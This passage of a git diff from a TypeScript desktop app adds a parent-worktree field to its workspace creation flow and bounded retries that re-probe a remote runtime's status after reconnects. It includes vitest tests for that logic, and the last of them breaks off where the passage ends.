@@ -63,6 +66,7 @@ export type ComposerCardActionProps = {
   smartNameRepoSwitchTarget?: 'project' | 'task-source'
   onNameValueChange: ComposerModel['handleNameValueChange']
   onBranchNameOverrideChange: ComposerModel['handleBranchNameOverrideChange']
+  onParentWorktreeIdChange: ComposerModel['setParentWorktreeId']
   onSmartGitHubItemSelect: ComposerModel['handleSmartGitHubItemSelect']
   onSmartGitLabItemSelect: ComposerModel['handleSmartGitLabItemSelect']
   onSmartBranchSelect: ComposerModel['handleSmartBranchSelect']
diff --git a/src/renderer/src/hooks/composer-state/composer-card-props.ts b/src/renderer/src/hooks/composer-state/composer-card-props.ts
index 8363910fe8f..0e126e3af75 100644
--- a/src/renderer/src/hooks/composer-state/composer-card-props.ts
+++ b/src/renderer/src/hooks/composer-state/composer-card-props.ts
@@ -13,6 +13,7 @@ export function buildComposerCardProps(state: ComposerModel) {
     attachmentPaths,
     baseBranch,
     branchNameOverride,
+    parentWorktreeId,
     createGateMode,
     createError,
     createMultiple,
@@ -81,10 +82,12 @@ export function buildComposerCardProps(state: ComposerModel) {
     selectedProjectHostSetupId,
     selectedProjectId,
     selectedRepo,
+    selectedRepoExecutionHostId,
     selectedRepoConnectInProgress,
     selectedRepoConnectionId,
     selectedRepoGitHubSourceContext,
     selectedRepoIsGit,
+    selectedRepoProjectId,
     selectedRepoRequiresConnection,
     shouldWaitForIssueAutomationCheck,
     sourceIntentBlocksCreate,
@@ -96,6 +99,7 @@ export function buildComposerCardProps(state: ComposerModel) {
     setCreateMultiple,
     setLinkQuery,
     setNote,
+    setParentWorktreeId,
     setSelectedEphemeralVmRecipeId,
     setSetupDecision,
     setSmartNameMode,
@@ -157,6 +161,10 @@ export function buildComposerCardProps(state: ComposerModel) {
     onNameValueChange: handleNameValueChange,
     branchNameOverride: isProjectGroupTarget ? undefined : branchNameOverride,
     onBranchNameOverrideChange: isProjectGroupTarget ? () => {} : handleBranchNameOverrideChange,
+    parentWorktreeId: isProjectGroupTarget ? null : parentWorktreeId,
+    onParentWorktreeIdChange: isProjectGroupTarget ? () => {} : setParentWorktreeId,
+    selectedRepoExecutionHostId: isProjectGroupTarget ? null : selectedRepoExecutionHostId,
+    selectedRepoProjectId: isProjectGroupTarget ? null : selectedRepoProjectId,
     onSmartGitHubItemSelect: handleSmartGitHubItemSelect,
     onSmartGitLabItemSelect: handleSmartGitLabItemSelect,
     onSmartBranchSelect: isProjectGroupTarget ? () => {} : handleSmartBranchSelect,
diff --git a/src/renderer/src/hooks/composer-state/composer-store-actions.ts b/src/renderer/src/hooks/composer-state/composer-store-actions.ts
index 3c0a172dc46..3aa7d96f5d3 100644
--- a/src/renderer/src/hooks/composer-state/composer-store-actions.ts
+++ b/src/renderer/src/hooks/composer-state/composer-store-actions.ts
@@ -55,6 +55,7 @@ export type ComposerStoreActions = {
       linkedTaskSourceContext?: TaskSourceContext | null
       startupDraft?: string
       nameWasGenerated?: boolean
+      parentWorktreeId?: string
       provisionedRoot?: {
         runtimeId: string
         executionHostId: ExecutionHostId
diff --git a/src/renderer/src/hooks/composer-state/composer-submit-orchestration.ts b/src/renderer/src/hooks/composer-state/composer-submit-orchestration.ts
index e4289e452cb..b925eb12b2d 100644
--- a/src/renderer/src/hooks/composer-state/composer-submit-orchestration.ts
+++ b/src/renderer/src/hooks/composer-state/composer-submit-orchestration.ts
@@ -98,6 +98,7 @@ export function useComposerSubmitOrchestration(
     normalizedSparseDirectories: target.derivedComposerState.normalizedSparseDirectories,
     note: target.sourceContextState.note,
     onCreated: target.composerTargetStore.onCreated,
+    parentWorktreeId: target.workspaceIdentityState.parentWorktreeId,
     persistDraft: target.composerTargetStore.persistDraft,
     persistSetupAgentStartupPolicy: target.providerRuntimeSync.persistSetupAgentStartupPolicy,
     prepareFullSubmit: fullSubmitPreparation.prepareFullSubmit,
@@ -210,6 +211,7 @@ export function useComposerSubmitOrchestration(
     linkedGitLabMR: target.workspaceIdentityState.linkedGitLabMR,
     normalizedSparseDirectories: target.derivedComposerState.normalizedSparseDirectories,
     onCreated: target.composerTargetStore.onCreated,
+    parentWorktreeId: target.workspaceIdentityState.parentWorktreeId,
     persistDraft: target.composerTargetStore.persistDraft,
     persistSetupAgentStartupPolicy: target.providerRuntimeSync.persistSetupAgentStartupPolicy,
     prepareQuickSubmit: quickSubmitPreparation.prepareQuickSubmit,
diff --git a/src/renderer/src/hooks/composer-state/full-creation-execution.test.ts b/src/renderer/src/hooks/composer-state/full-creation-execution.test.ts
index 704dac2832e..c8bca80df09 100644
--- a/src/renderer/src/hooks/composer-state/full-creation-execution.test.ts
+++ b/src/renderer/src/hooks/composer-state/full-creation-execution.test.ts
@@ -72,6 +72,7 @@ describe('useFullCreationExecution cancellation', () => {
       normalizedSparseDirectories: [],
       note: '',
       onCreated: vi.fn<NonNullable<FullCreationExecutionInput['onCreated']>>(),
+      parentWorktreeId: null,
       persistDraft: false,
       persistSetupAgentStartupPolicy,
       prepareFullSubmit: vi
diff --git a/src/renderer/src/hooks/composer-state/full-creation-execution.ts b/src/renderer/src/hooks/composer-state/full-creation-execution.ts
index 713d42961d1..04ec3e2cf6d 100644
--- a/src/renderer/src/hooks/composer-state/full-creation-execution.ts
+++ b/src/renderer/src/hooks/composer-state/full-creation-execution.ts
@@ -12,6 +12,7 @@ export type FullCreationExecutionInput = Pick<
   | 'normalizedSparseDirectories'
   | 'note'
   | 'onCreated'
+  | 'parentWorktreeId'
   | 'persistDraft'
   | 'persistSetupAgentStartupPolicy'
   | 'prepareFullSubmit'
@@ -47,6 +48,7 @@ export function useFullCreationExecution(input: FullCreationExecutionInput) {
     normalizedSparseDirectories,
     note,
     onCreated,
+    parentWorktreeId,
     persistDraft,
     persistSetupAgentStartupPolicy,
     prepareFullSubmit,
@@ -155,7 +157,8 @@ export function useFullCreationExecution(input: FullCreationExecutionInput) {
           nameWasGenerated,
           ...(!backendStartup && startupPlan?.draftPrompt
             ? { startupDraft: startupPlan.draftPrompt }
-            : {})
+            : {}),
+          ...(parentWorktreeId ? { parentWorktreeId } : {})
         }
       )
 
@@ -251,6 +254,7 @@ export function useFullCreationExecution(input: FullCreationExecutionInput) {
       normalizedSparseDirectories,
       note,
       onCreated,
+      parentWorktreeId,
       persistDraft,
       persistSetupAgentStartupPolicy,
       prepareFullSubmit,
diff --git a/src/renderer/src/hooks/composer-state/identity-model.ts b/src/renderer/src/hooks/composer-state/identity-model.ts
index 8830e3d72bc..e375dd754d7 100644
--- a/src/renderer/src/hooks/composer-state/identity-model.ts
+++ b/src/renderer/src/hooks/composer-state/identity-model.ts
@@ -18,6 +18,8 @@ export type ComposerIdentityModel = {
   setCompareBaseRef: React.Dispatch<React.SetStateAction<string | undefined>>
   branchNameOverride: string | undefined
   setBranchNameOverride: React.Dispatch<React.SetStateAction<string | undefined>>
+  parentWorktreeId: string | null
+  setParentWorktreeId: React.Dispatch<React.SetStateAction<string | null>>
   branchNameOverridePreservesNameEdits: boolean
   setBranchNameOverridePreservesNameEdits: React.Dispatch<React.SetStateAction<boolean>>
   smartNameMode: SmartNameMode
diff --git a/src/renderer/src/hooks/composer-state/quick-creation-execution.ts b/src/renderer/src/hooks/composer-state/quick-creation-execution.ts
index 1e91f686d82..b6b14350290 100644
--- a/src/renderer/src/hooks/composer-state/quick-creation-execution.ts
+++ b/src/renderer/src/hooks/composer-state/quick-creation-execution.ts
@@ -12,6 +12,7 @@ type QuickCreationExecutionInput = Pick<
   | 'linkedGitLabMR'
   | 'normalizedSparseDirectories'
   | 'onCreated'
+  | 'parentWorktreeId'
   | 'persistDraft'
   | 'persistSetupAgentStartupPolicy'
   | 'prepareQuickSubmit'
@@ -58,6 +59,7 @@ export function useQuickCreationExecution(input: QuickCreationExecutionInput) {
     linkedGitLabMR,
     normalizedSparseDirectories,
     onCreated,
+    parentWorktreeId,
     persistDraft,
     persistSetupAgentStartupPolicy,
     prepareQuickSubmit,
@@ -217,6 +219,7 @@ export function useQuickCreationExecution(input: QuickCreationExecutionInput) {
         linkedLinearIssueWorkspaceId,
         linkedLinearIssueOrganizationUrlKey,
         branchNameOverride: effectiveBranchNameOverride,
+        parentWorktreeId,
         workspaceStatus: resolvedInitialWorkspaceStatus,
         linkedGitLabMR,
         linkedGitLabIssue,
@@ -259,6 +262,7 @@ export function useQuickCreationExecution(input: QuickCreationExecutionInput) {
       linkedGitLabMR,
       normalizedSparseDirectories,
       onCreated,
+      parentWorktreeId,
       persistDraft,
       persistSetupAgentStartupPolicy,
       prepareQuickSubmit,
diff --git a/src/renderer/src/hooks/composer-state/quick-creation-request.test.ts b/src/renderer/src/hooks/composer-state/quick-creation-request.test.ts
index 0533bcc2e28..d5cd9a11c5b 100644
--- a/src/renderer/src/hooks/composer-state/quick-creation-request.test.ts
+++ b/src/renderer/src/hooks/composer-state/quick-creation-request.test.ts
@@ -29,6 +29,7 @@ function createInput(
     linkedLinearIssueWorkspaceId: undefined,
     linkedLinearIssueOrganizationUrlKey: undefined,
     branchNameOverride: undefined,
+    parentWorktreeId: null,
     workspaceStatus: undefined,
     linkedGitLabMR: null,
     linkedGitLabIssue: null,
@@ -87,6 +88,7 @@ describe('quick composer creation request', () => {
         linkedLinearIssueWorkspaceId: 'workspace-1',
         linkedLinearIssueOrganizationUrlKey: 'orca',
         branchNameOverride: 'feature',
+        parentWorktreeId: 'repo-1::/worktrees/parent',
         workspaceStatus: 'in-progress',
         linkedGitLabMR: 9,
         linkedGitLabIssue: 8,
@@ -107,6 +109,7 @@ describe('quick composer creation request', () => {
       linkedGitLabMR: 9,
       linkedGitLabIssue: 8,
       branchNameOverride: 'feature',
+      parentWorktreeId: 'repo-1::/worktrees/parent',
       launchDraftPrompt: 'draft',
       suppressTerminalFocusOnCompletion: true
     })
diff --git a/src/renderer/src/hooks/composer-state/quick-creation-request.ts b/src/renderer/src/hooks/composer-state/quick-creation-request.ts
index 71f0735f70b..e12f2dd6256 100644
--- a/src/renderer/src/hooks/composer-state/quick-creation-request.ts
+++ b/src/renderer/src/hooks/composer-state/quick-creation-request.ts
@@ -33,6 +33,7 @@ export type QuickCreationRequestInput = {
   linkedLinearIssueWorkspaceId: string | undefined
   linkedLinearIssueOrganizationUrlKey: string | undefined
   branchNameOverride: string | undefined
+  parentWorktreeId: string | null
   workspaceStatus: WorktreeCreationRequest['workspaceStatus']
   linkedGitLabMR: number | null
   linkedGitLabIssue: number | null
@@ -88,6 +89,7 @@ export function buildQuickCreationRequest(
       ? { linkedLinearIssueOrganizationUrlKey: input.linkedLinearIssueOrganizationUrlKey }
       : {}),
     ...(input.branchNameOverride ? { branchNameOverride: input.branchNameOverride } : {}),
+    ...(input.parentWorktreeId ? { parentWorktreeId: input.parentWorktreeId } : {}),
     ...(input.workspaceStatus ? { workspaceStatus: input.workspaceStatus } : {}),
     ...(input.includeGitLabLinks && input.linkedGitLabMR != null
       ? { linkedGitLabMR: input.linkedGitLabMR }
diff --git a/src/renderer/src/hooks/composer-state/workspace-identity-state.ts b/src/renderer/src/hooks/composer-state/workspace-identity-state.ts
index 8d46a3551d4..6b7e73e9417 100644
--- a/src/renderer/src/hooks/composer-state/workspace-identity-state.ts
+++ b/src/renderer/src/hooks/composer-state/workspace-identity-state.ts
@@ -100,6 +100,8 @@ export function useWorkspaceIdentityState(input: WorkspaceIdentityStateInput) {
     initialLinearBranchName
   )
 
+  const [parentWorktreeId, setParentWorktreeId] = useState<string | null>(null)
+
   const [branchNameOverridePreservesNameEdits, setBranchNameOverridePreservesNameEdits] = useState(
     Boolean(initialLinearBranchName)
   )
@@ -195,6 +197,8 @@ export function useWorkspaceIdentityState(input: WorkspaceIdentityStateInput) {
     setCompareBaseRef,
     branchNameOverride,
     setBranchNameOverride,
+    parentWorktreeId,
+    setParentWorktreeId,
     branchNameOverridePreservesNameEdits,
     setBranchNameOverridePreservesNameEdits,
     smartNameMode,
diff --git a/src/renderer/src/hooks/ipc-events/runtime-client-ipc-bridge.ts b/src/renderer/src/hooks/ipc-events/runtime-client-ipc-bridge.ts
index 2b8d720ca63..dc85e375124 100644
--- a/src/renderer/src/hooks/ipc-events/runtime-client-ipc-bridge.ts
+++ b/src/renderer/src/hooks/ipc-events/runtime-client-ipc-bridge.ts
@@ -29,6 +29,20 @@ import {
 } from './runtime-environment-subscription-selection'
 import type { WorktreeEventRuntime } from './worktree-event-runtime'
 
+/** Backoff for re-asking status.get after a probe that failed on its own socket. */
+const RUNTIME_STATUS_PROBE_RETRY_DELAYS_MS = [2_000, 10_000]
+
+/**
+ * Why a request carries its reason: `reconnected` must re-ask even when the cache reads
+ * reachable (a restart changes the runtimeId under an unchanged-looking status), while
+ * `recordedUnreachable` is satisfied by any answer that clears the offline verdict.
+ */
+type RuntimeStatusProbeTrigger = 'reconnected' | 'recordedUnreachable'
+
+function isRuntimeStatusRecordedUnreachable(environmentId: string): boolean {
+  return useAppStore.getState().runtimeStatusByEnvironmentId?.get(environmentId)?.status === null
+}
+
 export function registerRuntimeClientIpcBridge(
   unsubs: (() => void)[],
   worktreeRuntime: WorktreeEventRuntime
@@ -134,6 +148,107 @@ export function registerRuntimeClientIpcBridge(
       })
   }
 
+  const inFlightRuntimeStatusProbes = new Set<string>()
+  const trailingRuntimeStatusProbes = new Map<string, RuntimeStatusProbeTrigger>()
+  const runtimeStatusProbeRetryTimers = new Map<string, ReturnType<typeof setTimeout>>()
+  let runtimeStatusProbesStopped = false
+  // Why not the desired-subscription set alone: a host that is not the active environment
+  // drops out of it the moment anything records its status unreachable, so gating the
+  // retry on it cancels the retry exactly where recovery matters. Only removal
+  // (or a still-unhydrated catalog behind an active id) decides whether to keep asking,
+  // and the tombstone covers the window where settings still names a deleted host active.
+  const shouldProbeRuntimeStatus = (environmentId: string): boolean => {
+    const state = useAppStore.getState()
+    if (state.removedRuntimeEnvironmentIds?.has(environmentId)) {
+      return false
+    }
+    return (
+      (state.runtimeEnvironments ?? []).some((environment) => environment.id === environmentId) ||
+      getRuntimeClientEventEnvironmentIds(state).includes(environmentId)
+    )
+  }
+  // Why: concurrent probes resolve in arbitrary order, so a slow one can publish its
+  // stale answer over a newer one and leave the sidebar naming a superseded runtime.
+  const probeRuntimeStatus = (
+    environmentId: string,
+    attempt = 0,
+    trigger: RuntimeStatusProbeTrigger = 'reconnected'
+  ): void => {
+    if (runtimeStatusProbesStopped || !shouldProbeRuntimeStatus(environmentId)) {
+      return
+    }
+    if (inFlightRuntimeStatusProbes.has(environmentId)) {
+      // Serialize, don't drop: the in-flight answer predates this request, so a reconnect
+      // that lands mid-probe would otherwise go unasked — and a probe that succeeds
+      // schedules no retry to pick it up later. A reconnect outranks a queued
+      // recorded-unreachable request, which the in-flight answer may already settle.
+      if (trigger === 'reconnected' || !trailingRuntimeStatusProbes.has(environmentId)) {
+        trailingRuntimeStatusProbes.set(environmentId, trigger)
+      }
+      return
+    }
+    const pendingRetry = runtimeStatusProbeRetryTimers.get(environmentId)
+    if (pendingRetry !== undefined) {
+      clearTimeout(pendingRetry)
+      runtimeStatusProbeRetryTimers.delete(environmentId)
+    }
+    inFlightRuntimeStatusProbes.add(environmentId)
+    void useAppStore
+      .getState()
+      // publishUnreachable: false — the transport that just proved this host alive is not the
+      // socket status.get dials, so a failed probe here is unverifiable and must publish nothing.
+      .refreshRuntimeEnvironmentStatus(environmentId, undefined, { publishUnreachable: false })
+      .catch(() => false)
+      .then((reachable) => {
+        inFlightRuntimeStatusProbes.delete(environmentId)
+        const trailingTrigger = trailingRuntimeStatusProbes.get(environmentId)
+        if (trailingTrigger !== undefined) {
+          trailingRuntimeStatusProbes.delete(environmentId)
+          // A newer reconnect asked while this one was dialing: restart the attempt chain.
+          // A resubscribe only asked because the cache read unreachable, so skip the extra
+          // socket + E2EE handshake when this answer already cleared that.
+          if (
+            trailingTrigger === 'reconnected' ||
+            isRuntimeStatusRecordedUnreachable(environmentId)
+          ) {
+            probeRuntimeStatus(environmentId, 0, trailingTrigger)
+            return
+          }
+        }
+        // Why: status.get dials its own short-lived socket, so it can fail while the
+        // control transport that just proved the host is up stays healthy. That failure
+        // is unverifiable and publishes nothing, so no store transition, resubscribe or
+        // further trigger follows — without this bounded retry one unlucky probe leaves
+        // a host already recorded offline stranded until the next transport gap.
+        const retryDelayMs = RUNTIME_STATUS_PROBE_RETRY_DELAYS_MS[attempt]
+        if (
+          reachable ||
+          retryDelayMs === undefined ||
+          runtimeStatusProbesStopped ||
+          !shouldProbeRuntimeStatus(environmentId)
+        ) {
+          return
+        }
+        runtimeStatusProbeRetryTimers.set(
+          environmentId,
+          setTimeout(() => {
+            runtimeStatusProbeRetryTimers.delete(environmentId)
+            probeRuntimeStatus(environmentId, attempt + 1)
+          }, retryDelayMs)
+        )
+      })
+  }
+  unsubs.push(() => {
+    // The flag, not just the timers: a probe still in flight at teardown would
+    // otherwise schedule a fresh retry chain after the bridge is gone.
+    runtimeStatusProbesStopped = true
+    trailingRuntimeStatusProbes.clear()
+    for (const retryTimer of runtimeStatusProbeRetryTimers.values()) {
+      clearTimeout(retryTimer)
+    }
+    runtimeStatusProbeRetryTimers.clear()
+  })
+
   const runtimeClientEventsSync = createRuntimeClientEventsSync({
     getDesiredEnvironmentIds: () => getRuntimeClientEventEnvironmentIds(useAppStore.getState()),
     getSubscriptionKey: (environmentId) => buildRuntimeClientEventEnvironmentKey([environmentId]),
@@ -141,7 +256,7 @@ export function registerRuntimeClientIpcBridge(
       const sshGeneration = getEnvironmentSshStateGeneration(environmentId)
       const runtimeGeneration = getRuntimeEnvironmentConnectionGeneration(environmentId)
       const runtimeRevision = getRuntimeEnvironmentRevision(environmentId)
-      return subscribeRuntimeClientEvents(
+      const subscription = subscribeRuntimeClientEvents(
         environmentId,
         (event) => {
           if (
@@ -156,6 +271,7 @@ export function registerRuntimeClientIpcBridge(
         () => {
           invalidateRuntimeClientEventReplay({
             getSshStateReference: () => useAppStore.getState().sshStateByEnvironment,
+            refreshRuntimeStatus: () => probeRuntimeStatus(environmentId),
             requestProjectRefresh: () => runtimeProjectRefreshScheduler.request(environmentId),
             markEnvironmentSshStateStale: () =>
               useAppStore.getState().markEnvironmentSshStateStale(environmentId),
@@ -165,6 +281,20 @@ export function registerRuntimeClientIpcBridge(
           })
         }
       )
+      // Why: only a reconnect of an already-ready transport replays with the tag above.
+      // A connection whose first ready lands after the host recovered (app started, or
+      // the env was added, while it was down) never replays, so the recorded-unreachable
+      // verdict this subscribe just disproved has to be re-asked here. Kept off the
+      // returned promise so subscription registration/teardown ordering is unchanged.
+      void subscription.then(
+        () => {
+          if (isRuntimeStatusRecordedUnreachable(environmentId)) {
+            probeRuntimeStatus(environmentId, 0, 'recordedUnreachable')
+          }
+        },
+        () => {}
+      )
+      return subscription
     },
     onEvent: handleRuntimeClientEvent
   })
diff --git a/src/renderer/src/hooks/ipc-events/runtime-environment-subscription-selection.ts b/src/renderer/src/hooks/ipc-events/runtime-environment-subscription-selection.ts
index b2fee2d646e..d6ec4dd5ec6 100644
--- a/src/renderer/src/hooks/ipc-events/runtime-environment-subscription-selection.ts
+++ b/src/renderer/src/hooks/ipc-events/runtime-environment-subscription-selection.ts
@@ -178,6 +178,7 @@ export function createRuntimeEnvironmentStoreSyncSubscriber(
 
 type RuntimeClientEventReplayInvalidationDeps = {
   getSshStateReference: () => RuntimeEnvironmentStoreSyncState['sshStateByEnvironment']
+  refreshRuntimeStatus: () => void
   requestProjectRefresh: () => void
   markEnvironmentSshStateStale: () => void
   hydrateEnvironmentSshState: () => Promise<unknown>
@@ -193,6 +194,10 @@ type RuntimeClientEventReplayInvalidationDeps = {
 export function invalidateRuntimeClientEventReplay(
   deps: RuntimeClientEventReplayInvalidationDeps
 ): void {
+  // Why: nothing else re-probes status.get after a reconnect, so a host recorded
+  // unreachable during the gap stayed 'disconnected' in the sidebar forever while
+  // its terminals and RPCs worked again.
+  deps.refreshRuntimeStatus()
   deps.requestProjectRefresh()
   const previousSshStateReference = deps.getSshStateReference()
   deps.markEnvironmentSshStateStale()
diff --git a/src/renderer/src/hooks/ipc-events/runtime-reconnect-host-status.test.ts b/src/renderer/src/hooks/ipc-events/runtime-reconnect-host-status.test.ts
new file mode 100644
index 00000000000..0d605a3fab1
--- /dev/null
+++ b/src/renderer/src/hooks/ipc-events/runtime-reconnect-host-status.test.ts
@@ -0,0 +1,430 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import { toast } from 'sonner'
+import { useAppStore } from '@/store'
+import { buildExecutionHostRegistry } from '../../../../shared/execution-host-registry'
+import { toRuntimeExecutionHostId } from '../../../../shared/execution-host'
+import { createCompatibleRuntimeStatusResponse } from '@/runtime/runtime-compatibility-test-fixture'
+import { tagRuntimeSubscriptionReplayResponse } from '../../../../shared/runtime-subscription-replay'
+import type { PublicKnownRuntimeEnvironment } from '../../../../shared/runtime-environments'
+import type { RuntimeStatus } from '../../../../shared/runtime-types'
+import type { WorktreeEventRuntime } from './worktree-event-runtime'
+import { registerRuntimeClientIpcBridge } from './runtime-client-ipc-bridge'
+
+vi.mock('sonner', () => ({
+  toast: Object.assign(vi.fn(), {
+    warning: vi.fn(),
+    error: vi.fn(),
+    dismiss: vi.fn()
+  })
+}))
+
+const ENVIRONMENT_ID = 'env-devbox'
+
+function environment(): PublicKnownRuntimeEnvironment {
+  return {
+    id: ENVIRONMENT_ID,
+    name: 'Remote devbox',
+    createdAt: 1,
+    updatedAt: 1,
+    lastUsedAt: null,
+    runtimeId: null,
+    endpoints: [{ id: 'ws-a', kind: 'websocket', label: 'WebSocket', endpoint: 'ws://x' }],
+    preferredEndpointId: 'ws-a'
+  } as PublicKnownRuntimeEnvironment
+}
+
+/** What the sidebar host header renders from: 'available' is online, 'disconnected' is the offline GUI. */
+function sidebarHostHealth(): string | undefined {
+  const state = useAppStore.getState()
+  return buildExecutionHostRegistry({
+    repos: [],
+    settings: state.settings,
+    runtimeEnvironments: state.runtimeEnvironments,
+    runtimeStatusByEnvironmentId: state.runtimeStatusByEnvironmentId
+  }).find((host) => host.id === toRuntimeExecutionHostId(ENVIRONMENT_ID))?.health
+}
+
+function liveRuntimeStatus(): RuntimeStatus {
+  const response = createCompatibleRuntimeStatusResponse()
+  if (!response.ok) {
+    throw new Error('fixture must be a successful status response')
+  }
+  return response.result
+}
+
+async function settle(): Promise<void> {
+  for (let index = 0; index < 60; index += 1) {
+    await Promise.resolve()
+  }
+}
+
+describe('remote Orca server reconnect', () => {
+  let unsubs: (() => void)[] = []
+  let stopBridge: (() => void) | null = null
+  let subscriptionResponders: {
+    selector: string
+    onResponse: (response: unknown) => void
+  }[] = []
+  let liveRuntimeId = 'remote-runtime'
+  let failingStatusProbes = 0
+  let blockNextStatusProbe = false
+  let releaseBlockedStatusProbe: (() => void) | null = null
+
+  beforeEach(() => {
+    subscriptionResponders = []
+    unsubs = []
+    liveRuntimeId = 'remote-runtime'
+    failingStatusProbes = 0
+    blockNextStatusProbe = false
+    releaseBlockedStatusProbe = null
+    // Module-level sonner double: without this a toast from an earlier test leaks into
+    // the assertions below.
+    vi.mocked(toast.warning).mockClear()
+    vi.stubGlobal('window', {
+      api: {
+        runtimeEnvironments: {
+          list: vi.fn(async () => [environment()]),
+          getStatus: vi.fn(async () => {
+            // Captured before the block so a probe that is still dialing answers with the
+            // runtime it was dispatched against, not with whatever restarted meanwhile.
+            const dispatchedRuntimeId = liveRuntimeId
+            if (blockNextStatusProbe) {
+              blockNextStatusProbe = false
+              await new Promise<void>((resolve) => {
+                releaseBlockedStatusProbe = resolve
+              })
+            }
+            if (failingStatusProbes > 0) {
+              failingStatusProbes -= 1
+              // status.get dials its own socket; it can fail while the control transport is up.
+              return {
+                id: 'status.get',
+                ok: false,
+                error: {
+                  code: 'runtime_unavailable',
+                  message: 'probe socket refused'
+                },
+                _meta: { runtimeId: null }
+              }
+            }
+            return createCompatibleRuntimeStatusResponse(dispatchedRuntimeId)
+          }),
+          call: vi.fn(async () => ({ id: 'x', ok: true, result: [] })),
+          subscribe: vi.fn(
+            async (
+              args: { selector: string },
+              callbacks: { onResponse: (response: unknown) => void }
+            ): Promise<{ unsubscribe: () => void }> => {
+              subscriptionResponders.push({
+                selector: args.selector,
+                onResponse: callbacks.onResponse
+              })
+              return { unsubscribe: vi.fn() }
+            }
+          )
+        }
+      }
+    })
+    useAppStore.setState({
+      settings: { activeRuntimeEnvironmentId: ENVIRONMENT_ID } as never,
+      runtimeEnvironments: [environment()],
+      // Cleared explicitly: the removal case leaves a tombstone in this module-level
+      // store, which would silently suppress every later test's probes.
+      removedRuntimeEnvironmentIds: new Set(),
+      runtimeStatusByEnvironmentId: new Map([
+        [ENVIRONMENT_ID, { status: liveRuntimeStatus(), checkedAt: Date.now() }]
+      ]) as never
+    })
+  })
+
+  afterEach(() => {
+    stopBridge?.()
+    stopBridge = null
+    for (const unsub of unsubs.splice(0)) {
+      unsub()
+    }
+    vi.useRealTimers()
+    vi.unstubAllGlobals()
+    vi.restoreAllMocks()
+  })
+
+  /** Delivers the replay-tagged first response a shared-control reconnect produces. */
+  function replaySubscription(selector = ENVIRONMENT_ID): void {
+    const responder = subscriptionResponders.findLast((entry) => entry.selector === selector)
+    if (!responder) {
+      throw new Error(`no client-event subscription for ${selector}`)
+    }
+    responder.onResponse(
+      tagRuntimeSubscriptionReplayResponse({
+        id: 'sub',
+        ok: true,
+        result: { type: 'ready', snapshot: { sshStates: [] } }
+      })
+    )
+  }
+
+  function startBridge(): void {
+    stopBridge = registerRuntimeClientIpcBridge(unsubs, {
+      worktreeChangeRefreshQueue: { enqueue: vi.fn() },
+      activateNotifiedWorktree: vi.fn()
+    } as unknown as WorktreeEventRuntime)
+  }
+
+  it('re-probes a replayed subscription while the cached status still looks reachable', async () => {
+    startBridge()
+    await settle()
+    expect(sidebarHostHealth()).toBe('available')
+
+    // The gap was short enough that nothing probed during it, so the cached status still
+    // names the pre-restart runtime and the replay tag is the only evidence it is stale.
+    liveRuntimeId = 'remote-runtime-restarted'
+    replaySubscription()
+    await settle()
+
+    expect(
+      useAppStore.getState().runtimeStatusByEnvironmentId.get(ENVIRONMENT_ID)?.status?.runtimeId
+    ).toBe('remote-runtime-restarted')
+    expect(sidebarHostHealth()).toBe('available')
+  })
+
+  it('returns the sidebar host to online when the first subscription lands untagged', async () => {
+    // A connection that was never ready does not replay: nothing tags its first
+    // response, so a client that booted while the host was down has only the
+    // successful subscribe as evidence that the recorded verdict is stale.
+    useAppStore.setState({
+      runtimeStatusByEnvironmentId: new Map([
+        [ENVIRONMENT_ID, { status: null, checkedAt: Date.now() }]
+      ]) as never
+    })
+    expect(sidebarHostHealth()).toBe('disconnected')
+
+    startBridge()
+    await settle()
+
+    expect(sidebarHostHealth()).toBe('available')
+    expect(subscriptionResponders.length).toBeGreaterThan(0)
+  })
+
+  it('re-asks after a probe that failed while the transport stayed up', async () => {
+    vi.useFakeTimers()
+    // Already recorded unreachable, so the failing probe's `null` is an unchanged
+    // re-publication: it writes nothing and leaves no store transition for the
+    // resubscribe path to key off. Only a retry can still recover this host.
+    useAppStore.setState({
+      runtimeStatusByEnvironmentId: new Map([
+        [ENVIRONMENT_ID, { status: null, checkedAt: Date.now() }]
+      ]) as never
+    })
+    failingStatusProbes = 1
+
+    startBridge()
+    await settle()
+    expect(sidebarHostHealth()).toBe('disconnected')
+
+    await vi.advanceTimersByTimeAsync(2_000)
+    await settle()
+
+    expect(sidebarHostHealth()).toBe('available')
+  })
+
+  it('stops re-asking a host that keeps refusing, instead of polling it forever', async () => {
+    vi.useFakeTimers()
+    useAppStore.setState({
+      runtimeStatusByEnvironmentId: new Map([
+        [ENVIRONMENT_ID, { status: null, checkedAt: Date.now() }]
+      ]) as never
+    })
+    failingStatusProbes = Number.POSITIVE_INFINITY
+
+    startBridge()
+    await settle()
+    await vi.advanceTimersByTimeAsync(120_000)
+    await settle()
+
+    // One probe on the successful subscribe plus the two bounded retries.
+    expect(window.api.runtimeEnvironments.getStatus).toHaveBeenCalledTimes(3)
+  })
+
+  it('stops probing once the bridge is torn down mid-probe', async () => {
+    vi.useFakeTimers()
+    useAppStore.setState({
+      runtimeStatusByEnvironmentId: new Map([
+        [ENVIRONMENT_ID, { status: null, checkedAt: Date.now() }]
+      ]) as never
+    })
+    failingStatusProbes = Number.POSITIVE_INFINITY
+    blockNextStatusProbe = true
+
+    startBridge()
+    await settle()
+    expect(window.api.runtimeEnvironments.getStatus).toHaveBeenCalledTimes(1)
+
+    // Teardown clears scheduled retries, but this probe has not answered yet.
+    stopBridge?.()
+    stopBridge = null
+    for (const unsub of unsubs.splice(0)) {
+      unsub()
+    }
+    releaseBlockedStatusProbe?.()
+    await settle()
+    await vi.advanceTimersByTimeAsync(120_000)
+    await settle()
+
+    expect(window.api.runtimeEnvironments.getStatus).toHaveBeenCalledTimes(1)
+  })
+
+  it('re-asks for a saved host that is not the active environment', async () => {
+    vi.useFakeTimers()
+    // A non-active host is only in the desired-subscription set while its status is non-null,
+    // so gating the retry on that set would strand it offline with its subscription already
+    // torn down the moment anything else (an explicit disconnect, the toast's own retry)
+    // records the same outage.
+    useAppStore.setState({
+      settings: { activeRuntimeEnvironmentId: 'env-laptop' } as never
+    })
+    startBridge()
+    await settle()
+    expect(sidebarHostHealth()).toBe('available')
+
+    failingStatusProbes = 1
+    replaySubscription()
+    await settle()
+    useAppStore.getState().setRuntimeEnvironmentStatus(ENVIRONMENT_ID, {
+      status: null,
+      checkedAt: Date.now()
+    })
+    expect(sidebarHostHealth()).toBe('disconnected')
+
+    await vi.advanceTimersByTimeAsync(2_000)
+    await settle()
+
+    expect(sidebarHostHealth()).toBe('available')
+  })
+
+  it('re-asks after a reconnect that lands while an earlier probe is still dialing', async () => {
